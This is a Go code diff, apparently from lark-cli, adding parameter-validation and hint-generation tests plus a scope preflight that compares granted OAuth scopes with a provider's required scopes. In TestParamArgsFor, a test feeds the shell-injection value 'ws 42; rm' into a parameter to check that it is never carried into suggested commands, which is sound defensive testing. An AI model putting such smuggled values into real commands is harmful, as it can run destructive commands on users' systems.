Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
|
||||
},
|
||||
GetTask: iagents.TaskGetOp{
|
||||
Params: []iagents.CardParam{trace},
|
||||
Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil },
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateParams_ObjectDottedChannel pins the primary object transport:
|
||||
// dotted leaves validate with leaf rules, defaults backfill per leaf, and the
|
||||
// canonical Resolved form is flat dotted keys.
|
||||
func TestValidateParams_ObjectDottedChannel(t *testing.T) {
|
||||
spec := objSpec()
|
||||
vp, err := validateParams(
|
||||
[]string{"trace_tag=t1", "filter.region=east", "filter.min_amount=100"},
|
||||
spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err != nil {
|
||||
t.Fatalf("valid dotted set should pass: %v", err)
|
||||
}
|
||||
if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
|
||||
t.Errorf("dotted leaves should land flat in Resolved, got %v", vp.Resolved)
|
||||
}
|
||||
if vp.Resolved["filter.active"] != "true" {
|
||||
t.Errorf("leaf default should backfill, got %v", vp.Resolved)
|
||||
}
|
||||
|
||||
// leaf teaching errors carry the dotted path
|
||||
_, err = validateParams([]string{"trace_tag=t1", "filter.region=north"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(err.Error(), "filter.region") || !strings.Contains(err.Error(), "east|west") {
|
||||
t.Fatalf("leaf enum violation should carry the dotted path + full set, got %v", err)
|
||||
}
|
||||
// unknown leaf lists the object's field set
|
||||
_, err = validateParams([]string{"trace_tag=t1", "filter.region=east", "filter.regoin=east"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
|
||||
t.Fatalf("unknown leaf should list the field set, got %v", err)
|
||||
}
|
||||
// missing required leaf reported with dotted name
|
||||
_, err = validateParams([]string{"trace_tag=t1"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(err.Error(), "filter.region") {
|
||||
t.Fatalf("missing required leaf should be reported by dotted name, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateParams_ObjectJSONChannel pins the fallback transport: a JSON
|
||||
// value validates per leaf and NORMALIZES into the same flat dotted keys — the
|
||||
// provider cannot tell which channel the caller used. Mixing channels for one
|
||||
// object is rejected.
|
||||
func TestValidateParams_ObjectJSONChannel(t *testing.T) {
|
||||
spec := objSpec()
|
||||
vp, err := validateParams(
|
||||
[]string{"trace_tag=t1", `filter={"region":"east","min_amount":100}`},
|
||||
spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err != nil {
|
||||
t.Fatalf("valid JSON object should pass: %v", err)
|
||||
}
|
||||
if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
|
||||
t.Errorf("JSON members should normalize to flat dotted keys (numbers literal), got %v", vp.Resolved)
|
||||
}
|
||||
if vp.Resolved["filter.active"] != "true" {
|
||||
t.Errorf("leaf default should backfill on the JSON channel too, got %v", vp.Resolved)
|
||||
}
|
||||
|
||||
// invalid JSON → teaching error pointing at the dotted alternative(多违规时
|
||||
// 摘要在 message、明细在 params[],用 listReasons 断言)
|
||||
_, err = validateParams([]string{"trace_tag=t1", "filter={not json"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(listReasons(err), "JSON 无法解析") {
|
||||
t.Fatalf("bad JSON should teach, got %v", err)
|
||||
}
|
||||
if !strings.Contains(listReasons(err), "点路径") {
|
||||
t.Fatalf("bad JSON error should point at the dotted alternative, got %v", listReasons(err))
|
||||
}
|
||||
// member enum violation carries the dotted path
|
||||
_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"north"}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(err.Error(), "filter.region") {
|
||||
t.Fatalf("JSON member violation should carry the dotted path, got %v", err)
|
||||
}
|
||||
// unknown member listed against the field set
|
||||
_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east","foo":1}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
|
||||
t.Fatalf("unknown JSON member should list fields, got %v", err)
|
||||
}
|
||||
// channel mixing rejected
|
||||
_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east"}`, "filter.active=false"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err == nil || !strings.Contains(err.Error()+listReasons(err), "混合提供") {
|
||||
t.Fatalf("channel mixing should be rejected, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// listReasons flattens all violation reasons for containment asserts.
|
||||
func listReasons(err error) string {
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
return ""
|
||||
}
|
||||
var b strings.Builder
|
||||
for _, v := range verr.Params {
|
||||
b.WriteString(v.Reason)
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// TestParamArgsFor_ObjectAndNoCarry pins the carry semantics: object leaves
|
||||
// carry as ordinary scalars; NoCarry params never ride literally — required
|
||||
// ones degrade to placeholders so the caller supplies a FRESH value.
|
||||
func TestParamArgsFor_ObjectAndNoCarry(t *testing.T) {
|
||||
spec := objSpec()
|
||||
given := map[string]string{"trace_tag": "t1", "filter.region": "east", "filter.min_amount": "100"}
|
||||
args, tpl := paramArgsFor(spec, iagents.VerbSend, given)
|
||||
if strings.Contains(args, "trace_tag=t1") {
|
||||
t.Errorf("NoCarry param must never ride literally, got %q", args)
|
||||
}
|
||||
if !strings.Contains(args, "--param trace_tag=<trace_tag>") || !tpl {
|
||||
t.Errorf("required NoCarry should degrade to a placeholder, got %q tpl=%v", args, tpl)
|
||||
}
|
||||
if !strings.Contains(args, "--param filter.region=east") || !strings.Contains(args, "--param filter.min_amount=100") {
|
||||
t.Errorf("object leaves should carry as ordinary scalars, got %q", args)
|
||||
}
|
||||
// target verb without the object (task_get) → only its own declaration carries
|
||||
args, _ = paramArgsFor(spec, iagents.VerbTaskGet, given)
|
||||
if strings.Contains(args, "filter") {
|
||||
t.Errorf("params undeclared on the target verb must not carry, got %q", args)
|
||||
}
|
||||
}
|
||||
|
||||
func errHint(err error) string {
|
||||
if p, ok := errs.ProblemOf(err); ok {
|
||||
return p.Hint
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// TestValidateParams_DefaultBackfill pins Resolved vs Given: defaults land in
|
||||
// Resolved (what the hook sees) but never in Given (what meta.next carries).
|
||||
func TestValidateParams_DefaultBackfill(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
vp, err := validateParams([]string{"workspace_id=ws_42"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if err != nil {
|
||||
t.Fatalf("should pass: %v", err)
|
||||
}
|
||||
if vp.Resolved["priority"] != "normal" || vp.Resolved["max_results"] != "20" {
|
||||
t.Errorf("defaults should backfill Resolved, got %v", vp.Resolved)
|
||||
}
|
||||
if _, ok := vp.Given["priority"]; ok {
|
||||
t.Errorf("defaults must NOT appear in Given (meta.next noise), got %v", vp.Given)
|
||||
}
|
||||
// an explicitly provided value overrides the default in Resolved
|
||||
vp2, _ := validateParams([]string{"workspace_id=ws_42", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
|
||||
if vp2.Resolved["priority"] != "high" || vp2.Given["priority"] != "high" {
|
||||
t.Errorf("explicit value should override default, got %v / %v", vp2.Resolved, vp2.Given)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParamArgsFor pins the three-way carry rule.
|
||||
func TestParamArgsFor(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
// 1) given + whitelisted → literal carry (declaration order)
|
||||
args, tpl := paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws_42", "priority": "high"})
|
||||
if args != " --param workspace_id=ws_42 --param priority=high" || tpl {
|
||||
t.Errorf("literal carry wrong: %q tpl=%v", args, tpl)
|
||||
}
|
||||
// 2) given but whitelist-failing → required degrades to placeholder,
|
||||
// optional drops
|
||||
args, tpl = paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws 42; rm", "priority": "值 带 空格"})
|
||||
if !strings.Contains(args, "--param workspace_id=<workspace_id>") || strings.Contains(args, "priority") || !tpl {
|
||||
t.Errorf("degrade rule wrong: %q tpl=%v", args, tpl)
|
||||
}
|
||||
// 3) absent but required on the target verb → placeholder (cross-verb hole)
|
||||
args, tpl = paramArgsFor(spec, iagents.VerbTaskList, map[string]string{})
|
||||
if args != " --param workspace_id=<workspace_id>" || !tpl {
|
||||
t.Errorf("required-absent placeholder wrong: %q tpl=%v", args, tpl)
|
||||
}
|
||||
// nil spec / unknown verb carry nothing
|
||||
if a, _ := paramArgsFor(nil, iagents.VerbSend, nil); a != "" {
|
||||
t.Errorf("nil spec should carry nothing, got %q", a)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskCarriesParams pins the wired outcome: a send with given params
|
||||
// yields a poll hint carrying them literally.
|
||||
func TestNextForTaskCarriesParams(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
task := &iagents.AgentTask{TaskID: "task_1", State: iagents.StateWorking}
|
||||
// task_get declares no params on this spec → nothing to carry for the poll
|
||||
next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
|
||||
if len(next) != 1 || strings.Contains(next[0].Command, "--param") {
|
||||
t.Fatalf("task_get declares no params, poll hint should carry none: %+v", next)
|
||||
}
|
||||
// give task_get a required param → the poll hint must carry it
|
||||
spec.GetTask.Params = []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}}
|
||||
next = nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
|
||||
if !strings.Contains(next[0].Command, "--param workspace_id=ws_42") {
|
||||
t.Fatalf("poll hint should carry the given required param: %+v", next)
|
||||
}
|
||||
// absent → placeholder + template
|
||||
next = nextForTask("acme:reporter", task, spec, nil, iagents.VerbSend)
|
||||
if !strings.Contains(next[0].Command, "--param workspace_id=<workspace_id>") || !next[0].Template {
|
||||
t.Fatalf("absent required should degrade to placeholder+template: %+v", next)
|
||||
}
|
||||
}
|
||||
|
||||
// TestArtifactNext pins the per-artifact download hints: terminal task +
|
||||
// wired DownloadArtifact → one template hint per whitelisted artifact id;
|
||||
// whitelist-failing ids are skipped (never interpolated).
|
||||
func TestArtifactNext(t *testing.T) {
|
||||
spec := paramSpec()
|
||||
spec.DownloadArtifact = iagents.ArtifactDownloadOp{
|
||||
Params: []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}},
|
||||
Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
|
||||
}
|
||||
task := &iagents.AgentTask{
|
||||
TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
|
||||
Artifacts: []iagents.Artifact{{ID: "art_1"}, {ID: "bad;id"}, {ID: "art_2"}},
|
||||
}
|
||||
next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
|
||||
var downloads []string
|
||||
for _, n := range next {
|
||||
if strings.Contains(n.Command, "--artifact") {
|
||||
downloads = append(downloads, n.Command)
|
||||
if !n.Template {
|
||||
t.Errorf("download hint has a -o placeholder, must be template: %+v", n)
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(downloads) != 2 {
|
||||
t.Fatalf("want 2 download hints (bad;id skipped), got %d: %v", len(downloads), downloads)
|
||||
}
|
||||
for _, c := range downloads {
|
||||
if !strings.Contains(c, "--param workspace_id=ws_42") || !strings.Contains(c, "-o <保存路径>") {
|
||||
t.Errorf("download hint should carry params and the -o placeholder: %q", c)
|
||||
}
|
||||
if strings.Contains(c, "bad;id") {
|
||||
t.Errorf("whitelist-failing artifact id leaked: %q", c)
|
||||
}
|
||||
}
|
||||
// unwired DownloadArtifact → no hints
|
||||
spec.DownloadArtifact = iagents.ArtifactDownloadOp{}
|
||||
if n := artifactNext("acme:reporter", task, spec, nil); n != nil {
|
||||
t.Errorf("unwired artifact_download should produce no hints, got %+v", n)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCardOperationSubquery pins `card --operation <verb>` against the real
|
||||
// example provider: reporter's send contract carries command + parameters;
|
||||
// unknown verb lists the vocabulary; unwired verb answers supported:false; a
|
||||
// wired zero-param verb answers parameters:[].
|
||||
func TestCardOperationSubquery(t *testing.T) {
|
||||
decode := func(t *testing.T, opts *cardOptions) map[string]any {
|
||||
t.Helper()
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card --operation should not error: %v", err)
|
||||
}
|
||||
var env struct {
|
||||
Data map[string]any `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("invalid envelope: %v", err)
|
||||
}
|
||||
return env.Data
|
||||
}
|
||||
|
||||
opts, _ := cardTestOpts(t, "example:reporter")
|
||||
opts.Operation = "send"
|
||||
data := decode(t, opts)
|
||||
if data["operation"] != "send" || data["supported"] != true {
|
||||
t.Fatalf("send contract wrong: %v", data)
|
||||
}
|
||||
if cmdStr, _ := data["command"].(string); !strings.Contains(cmdStr, "lark-cli agents send") {
|
||||
t.Errorf("contract should carry the command template, got %v", data["command"])
|
||||
}
|
||||
params, _ := data["parameters"].([]any)
|
||||
if len(params) != 3 {
|
||||
t.Fatalf("reporter send declares 3 demo params (2 scalars + render object), got %v", data["parameters"])
|
||||
}
|
||||
first, _ := params[0].(map[string]any)
|
||||
if first["name"] != "report_format" || first["default"] != "csv" {
|
||||
t.Errorf("first param should be report_format with default csv, got %v", first)
|
||||
}
|
||||
|
||||
// unwired verb → supported:false
|
||||
opts2, _ := cardTestOpts(t, "example:echo")
|
||||
opts2.Operation = "task_cancel"
|
||||
data = decode(t, opts2)
|
||||
if data["supported"] != false {
|
||||
t.Errorf("echo task_cancel should be supported:false, got %v", data)
|
||||
}
|
||||
|
||||
// wired zero-param verb → parameters []
|
||||
opts3, _ := cardTestOpts(t, "example:echo")
|
||||
opts3.Operation = "context_delete"
|
||||
data = decode(t, opts3)
|
||||
if data["supported"] != true {
|
||||
t.Fatalf("echo context_delete should be supported, got %v", data)
|
||||
}
|
||||
if ps, ok := data["parameters"].([]any); !ok || len(ps) != 0 {
|
||||
t.Errorf("zero-param op should answer parameters:[], got %v", data["parameters"])
|
||||
}
|
||||
|
||||
// unknown verb → invalid_argument listing the vocabulary
|
||||
opts4, _ := cardTestOpts(t, "example:echo")
|
||||
opts4.Operation = "sennd"
|
||||
err := agentCardRun(opts4)
|
||||
if err == nil || !strings.Contains(err.Error(), "task_get") || !strings.Contains(err.Error(), "all") {
|
||||
t.Fatalf("unknown verb should list the vocabulary, got %v", err)
|
||||
}
|
||||
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("unknown verb should be invalid_argument, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCardOperationInstanceShape pins the review fix: on an INSTANCE provider
|
||||
// (fakeflow), the single-verb --operation output reuses the struct — an
|
||||
// unwired verb carries NO command key (omitempty, not command:"") and every
|
||||
// response carries parameters_source:"template".
|
||||
func TestCardOperationInstanceShape(t *testing.T) {
|
||||
registerScripted()
|
||||
opts, _ := cardTestOpts(t, "fakemin:agt_x")
|
||||
opts.Operation = "task_cancel" // minimalSpec leaves CancelTask unwired
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card --operation should not error: %v", err)
|
||||
}
|
||||
var env struct {
|
||||
Data map[string]any `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("invalid envelope: %v", err)
|
||||
}
|
||||
if env.Data["supported"] != false {
|
||||
t.Fatalf("task_cancel should be unsupported on the scripted spec, got %v", env.Data)
|
||||
}
|
||||
if _, present := env.Data["command"]; present {
|
||||
t.Errorf("unwired verb must not carry a command key (omitempty), got %v", env.Data["command"])
|
||||
}
|
||||
if env.Data["parameters_source"] != "template" {
|
||||
t.Errorf("instance provider --operation should carry parameters_source:template, got %v", env.Data)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCardOperationAll pins the one-shot full map: every verb present, wired
|
||||
// ones carrying command+parameters.
|
||||
func TestCardOperationAll(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:reporter")
|
||||
opts.Operation = "all"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card --operation all should not error: %v", err)
|
||||
}
|
||||
var env struct {
|
||||
Data struct {
|
||||
Operations map[string]map[string]any `json:"operations"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("invalid envelope: %v", err)
|
||||
}
|
||||
if len(env.Data.Operations) != 8 {
|
||||
t.Fatalf("all should enumerate 8 operations, got %d", len(env.Data.Operations))
|
||||
}
|
||||
send := env.Data.Operations["send"]
|
||||
if send["supported"] != true {
|
||||
t.Errorf("reporter send should be supported, got %v", send)
|
||||
}
|
||||
if ps, _ := send["parameters"].([]any); len(ps) != 3 {
|
||||
t.Errorf("reporter send should carry its 3 demo params, got %v", send["parameters"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestCardLeanHasParameters pins the lean card cue on the real reporter: send
|
||||
// appears in has_parameters (it declares demo params), context_delete does not.
|
||||
func TestCardLeanHasParameters(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:reporter")
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card should not error: %v", err)
|
||||
}
|
||||
var env struct {
|
||||
Data struct {
|
||||
HasParameters []string `json:"has_parameters"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("invalid envelope: %v", err)
|
||||
}
|
||||
if len(env.Data.HasParameters) != 1 || env.Data.HasParameters[0] != "send" {
|
||||
t.Fatalf("reporter has_parameters should be [send], got %v", env.Data.HasParameters)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendValidatesDeclaredParams drives the full send path against the real
|
||||
// reporter declaration: enum violation fails offline; a valid --param passes
|
||||
// through to dry-run with defaults backfilled.
|
||||
func TestSendValidatesDeclaredParams(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Ref = "example:reporter"
|
||||
opts.Text = "报表"
|
||||
opts.Params = []string{"report_format=pdf"}
|
||||
err := agentSendRun(opts)
|
||||
if err == nil || !strings.Contains(err.Error(), "csv|xlsx") {
|
||||
t.Fatalf("enum violation should fail offline listing the set, got %v", err)
|
||||
}
|
||||
|
||||
opts2 := sendTestOpts(t)
|
||||
opts2.Ref = "example:reporter"
|
||||
opts2.Text = "报表"
|
||||
opts2.Params = []string{"report_format=xlsx"}
|
||||
opts2.DryRun = true
|
||||
out := opts2.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentSendRun(opts2); err != nil {
|
||||
t.Fatalf("valid param should pass: %v", err)
|
||||
}
|
||||
var env struct {
|
||||
Data struct {
|
||||
WouldSend struct {
|
||||
Params map[string]string `json:"params"`
|
||||
} `json:"would_send"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("invalid envelope: %v", err)
|
||||
}
|
||||
if env.Data.WouldSend.Params["report_format"] != "xlsx" || env.Data.WouldSend.Params["quarters"] != "4" {
|
||||
t.Fatalf("dry-run should show the resolved params (default quarters=4 backfilled), got %v", env.Data.WouldSend.Params)
|
||||
}
|
||||
}
|
||||
|
||||
// TestListRejectsParams pins the two list guards: --param without a scheme is
|
||||
// rejected outright; --param on a catalog scheme validates against the empty
|
||||
// set with the list-specific hint.
|
||||
func TestListRejectsParams(t *testing.T) {
|
||||
opts, _ := listFactory()
|
||||
opts.Params = []string{"env=boe"}
|
||||
err := agentListRun(opts)
|
||||
if err == nil || !strings.Contains(err.Error(), "仅在 agents list <scheme>") {
|
||||
t.Fatalf("no-scheme --param should be rejected, got %v", err)
|
||||
}
|
||||
|
||||
opts2, _ := listFactory()
|
||||
opts2.Scheme = "example"
|
||||
opts2.Params = []string{"env=boe"}
|
||||
err = agentListRun(opts2)
|
||||
if err == nil {
|
||||
t.Fatal("catalog scheme with --param should be rejected (zero-param op)")
|
||||
}
|
||||
if p, ok := errs.ProblemOf(err); !ok || !strings.Contains(p.Hint, "list_parameters") {
|
||||
t.Fatalf("list param error hint should point at providers[].list_parameters, got %+v", p)
|
||||
}
|
||||
}
|
||||
216
cmd/agents/preflight.go
Normal file
216
cmd/agents/preflight.go
Normal file
@@ -0,0 +1,216 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/appmeta"
|
||||
larkauth "github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// This file implements the scope preflight: after the provider is resolved and
|
||||
// before the real API call, the session's available scopes are checked against
|
||||
// the provider's RequiredScopes. The check is all-or-nothing — any real API verb
|
||||
// requires the provider's entire scope set. For USER identity the scope list is
|
||||
// read locally from the credential cache (no network); for BOT identity it is
|
||||
// the app's published TenantScopes, fetched best-effort (a fetch failure
|
||||
// downgrades the check to a no-op, like event's console precheck). A missing
|
||||
// scope surfaces as a missing_scope permission error (exit 3) with an
|
||||
// identity-appropriate remediation hint instead of a round-trip API 99991679.
|
||||
// `--dry-run` never reaches it (dry-run returns before the provider is resolved).
|
||||
|
||||
// storedUserScopes is the token-scope read seam: it returns the granted scope
|
||||
// list of the stored user token from the LOCAL credential cache (keychain via
|
||||
// GetStoredToken — same read path as `auth check`), issuing no network
|
||||
// request. nil/empty means "no usable local scope list" and the caller skips
|
||||
// preflight. Tests swap it so no unit test touches the real keychain.
|
||||
var storedUserScopes = func(f *cmdutil.Factory) []string {
|
||||
if f == nil || f.Config == nil {
|
||||
return nil
|
||||
}
|
||||
config, err := f.Config()
|
||||
if err != nil || config == nil || config.UserOpenId == "" {
|
||||
return nil
|
||||
}
|
||||
stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
|
||||
if stored == nil {
|
||||
return nil
|
||||
}
|
||||
return strings.Fields(stored.Scope)
|
||||
}
|
||||
|
||||
// preflightInput is the pure input of preflightScopes, so the check itself is
|
||||
// unit-testable without a Factory, keychain, or provider client.
|
||||
type preflightInput struct {
|
||||
Identity core.Identity
|
||||
TokenScopes []string
|
||||
Provider iagents.Provider
|
||||
}
|
||||
|
||||
// preflightScopes runs the local scope check. It returns nil when the check
|
||||
// does not apply — bot identity (handled elsewhere) or an unreadable/empty local
|
||||
// scope list (the downstream not_configured / need-authorization logic owns
|
||||
// that). The check is all-or-nothing: when any scope in the provider's
|
||||
// RequiredScopes set is not granted it returns the missing_scope permission
|
||||
// error (exit 3, mirroring the event-consume scope preflight) carrying every
|
||||
// missing scope, with a re-auth hint listing ONLY the missing scopes.
|
||||
//
|
||||
// The hint lists just the missing scopes (not a merge with existing grants):
|
||||
// the open platform authorizes INCREMENTALLY — re-login with only the missing
|
||||
// scopes keeps every previously-granted scope — so re-requesting the existing
|
||||
// grants would be redundant. This mirrors cmd/event's scopeRemediationHint.
|
||||
func preflightScopes(in preflightInput) error {
|
||||
// No usable scope list → skip (user not logged in, or bot has no published
|
||||
// version / the fetch failed); the downstream not_configured / API error owns
|
||||
// that path.
|
||||
if len(in.TokenScopes) == 0 {
|
||||
return nil
|
||||
}
|
||||
// Only user / bot carry a scope-list concept.
|
||||
if in.Identity != core.AsUser && !in.Identity.IsBot() {
|
||||
return nil
|
||||
}
|
||||
|
||||
granted := make(map[string]bool, len(in.TokenScopes))
|
||||
for _, s := range in.TokenScopes {
|
||||
granted[s] = true
|
||||
}
|
||||
|
||||
var missing []string
|
||||
for _, scope := range in.Provider.RequiredScopes {
|
||||
if !granted[scope] {
|
||||
missing = append(missing, scope)
|
||||
}
|
||||
}
|
||||
if len(missing) == 0 {
|
||||
return nil
|
||||
}
|
||||
sort.Strings(missing)
|
||||
|
||||
return errs.NewPermissionError(errs.SubtypeMissingScope,
|
||||
"当前 %s 身份缺少本命令所需 scope: %s", in.Identity, strings.Join(missing, ", ")).
|
||||
WithIdentity(string(in.Identity)).
|
||||
WithMissingScopes(missing...).
|
||||
WithHint("%s", scopeRemediationHint(in.Identity, missing))
|
||||
}
|
||||
|
||||
// scopeRemediationHint returns an identity-appropriate fix for the missing
|
||||
// scopes, mirroring cmd/event's scopeRemediationHint split:
|
||||
// - user: re-login requesting ONLY the missing scopes — the open platform
|
||||
// authorizes incrementally, so previously-granted scopes are preserved (no
|
||||
// merge needed).
|
||||
// - bot: the tenant token's scopes come from the app's published version, so
|
||||
// the fix is to add the scopes to the app in the developer console and
|
||||
// re-publish — not a per-token re-auth. (event additionally offers a
|
||||
// one-click scan-to-enable deep link; that generator lives in cmd/event and
|
||||
// is not duplicated here.)
|
||||
func scopeRemediationHint(id core.Identity, missing []string) string {
|
||||
if id.IsBot() {
|
||||
return fmt.Sprintf(
|
||||
"the bot (tenant) token's scopes come from the app's published version — add these scopes to the app in the developer console and re-publish: %s",
|
||||
strings.Join(missing, " "))
|
||||
}
|
||||
// Canonical repo-wide auth login --scope remediation phrasing (see
|
||||
// cmd/event, shortcuts/*). Only the missing scopes are listed — the open
|
||||
// platform authorizes incrementally, so existing grants are preserved.
|
||||
return fmt.Sprintf(
|
||||
"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
|
||||
strings.Join(missing, " "))
|
||||
}
|
||||
|
||||
// preflightScopesForRef is the ref-addressed wrapper: it parses ref for its
|
||||
// scheme and delegates to preflightScopesForScheme. An unparsable ref yields nil
|
||||
// — the preflight is an accelerator, never a new failure mode; the paths that
|
||||
// validate ref/scheme for real have already run inside resolveSpec.
|
||||
func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
|
||||
r, err := iagents.ParseRef(ref)
|
||||
if err != nil {
|
||||
return nil //nolint:nilerr // preflight is best-effort: resolveSpec already surfaced any real ref error
|
||||
}
|
||||
return preflightScopesForScheme(f, id, r.Scheme)
|
||||
}
|
||||
|
||||
// preflightScopesForScheme is the scheme-keyed core of the preflight, shared by
|
||||
// the ref-addressed verbs (via preflightScopesForRef) and the online
|
||||
// `agents list <scheme>` enumeration, which has no agent_id. It resolves the
|
||||
// provider registration for the scheme, reads the stored scopes through the
|
||||
// identity-appropriate seam, and runs the same all-or-nothing check against the
|
||||
// provider's full RequiredScopes. Any gap in its own inputs (nil Factory,
|
||||
// unregistered scheme, empty RequiredScopes) yields nil.
|
||||
func preflightScopesForScheme(f *cmdutil.Factory, id core.Identity, scheme string) error {
|
||||
if f == nil {
|
||||
return nil
|
||||
}
|
||||
prov, ok := iagents.Info(scheme)
|
||||
if !ok || len(prov.RequiredScopes) == 0 {
|
||||
return nil // no scopes to check (e.g. the example mock declares none)
|
||||
}
|
||||
|
||||
var tokenScopes []string
|
||||
switch {
|
||||
case id == core.AsUser:
|
||||
tokenScopes = storedUserScopes(f) // local keychain read, no network
|
||||
case id.IsBot():
|
||||
tokenScopes = botTenantScopes(f) // best-effort app-version fetch
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
return preflightScopes(preflightInput{Identity: id, TokenScopes: tokenScopes, Provider: prov})
|
||||
}
|
||||
|
||||
// botTenantScopes is the bot-scope read seam: it fetches the app's
|
||||
// currently-published version and returns its TenantScopes (the scopes a tenant
|
||||
// token actually carries). Any failure — no client, no published version,
|
||||
// network / appmeta error — yields nil so the caller skips the check (weak
|
||||
// dependency, mirroring event's console precheck downgrade). Tests swap it so no
|
||||
// unit test touches the network.
|
||||
var botTenantScopes = func(f *cmdutil.Factory) []string {
|
||||
if f == nil || f.Config == nil {
|
||||
return nil
|
||||
}
|
||||
config, err := f.Config()
|
||||
if err != nil || config == nil || config.AppID == "" {
|
||||
return nil
|
||||
}
|
||||
apiClient, err := f.NewAPIClient()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
appVer, err := appmeta.FetchCurrentPublished(ctx, &appmetaBotClient{client: apiClient}, config.AppID)
|
||||
if err != nil || appVer == nil {
|
||||
return nil
|
||||
}
|
||||
return appVer.TenantScopes
|
||||
}
|
||||
|
||||
// appmetaBotClient adapts *client.APIClient to appmeta's APIClient shape under a
|
||||
// pinned bot identity (/app_versions is app-level and rejects UAT). It returns
|
||||
